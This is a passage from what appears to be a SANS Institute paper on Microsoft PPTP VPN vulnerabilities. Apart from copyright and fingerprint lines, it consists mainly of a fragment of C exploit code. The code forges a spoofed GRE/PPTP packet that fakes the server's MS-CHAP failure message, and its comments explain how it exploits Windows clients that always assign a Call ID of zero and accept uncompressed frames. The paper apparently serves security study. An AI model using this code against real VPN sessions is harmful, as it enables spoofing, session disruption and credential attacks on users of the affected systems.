Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
80
len = sizeof(struct ppp_header) + sizeof(struct ppp_lcp_chap_header) +
strlen(MSCHAP_ERROR);
bzero(&pkt, sizeof(pkt));
pkt.ip.ip_v         = IPVERSION;
pkt.ip.ip_hl        = 5;
pkt.ip.ip_len       = hton16(sizeof(pkt));
pkt.ip.ip_id        = hton16(31337);
pkt.ip.ip_ttl       = hton8(64);
pkt.ip.ip_p         = hton8(PPTP_PROTO);
pkt.ip.ip_src     = ip->ip_dst;
pkt.ip.ip_dst       = ip->ip_src;
pkt.ip.ip_sum       = in_cksum((unsigned short *)&pkt.ip, sizeof(struct ip));
pkt.gre.flags       = hton8 (PPTP_GRE_FLAG_K|PPTP_GRE_FLAG_S);
pkt.gre.ver         = hton8 (PPTP_GRE_VER|PPTP_GRE_FLAG_A);
pkt.gre.protocol    = hton16(PPTP_GRE_PROTO);
pkt.gre.payload_len = hton16(len);
/* 
* To fake the server's CHAP failure message we need to know the Call ID
* that the other end assigned to it. This is a problem as the only way
* to know it is by parsing the TCP control session between the two and
* seeing the outgoing call request and reply. To much work for me to bother.
* luckily the Windows NT and Windows 95 PPTP client always assigns a Call 
ID 
* of zero!
*/
pkt.gre.call_id     = 0;
pkt.gre.ack         = gre->seq;
/*
* One or both sides may have negociated address and control field 
compression.
* Luckly this is just a hint to the remote end that we can accept compressed
* frames, not an indication that we will send them out that way. This allows
* us to send an uncompressed frame that will be accepted even when they
* have negociated compression.
*
* From RFC1331:
*
*     On reception, the Address and Control fields are decompressed by
*     examining the first two octets.  If they contain the values 0xff
*     and 0x03, they are assumed to be the Address and Control fields.
*     If not, it is assumed that the fields were compressed and were not
*     transmitted.
0

---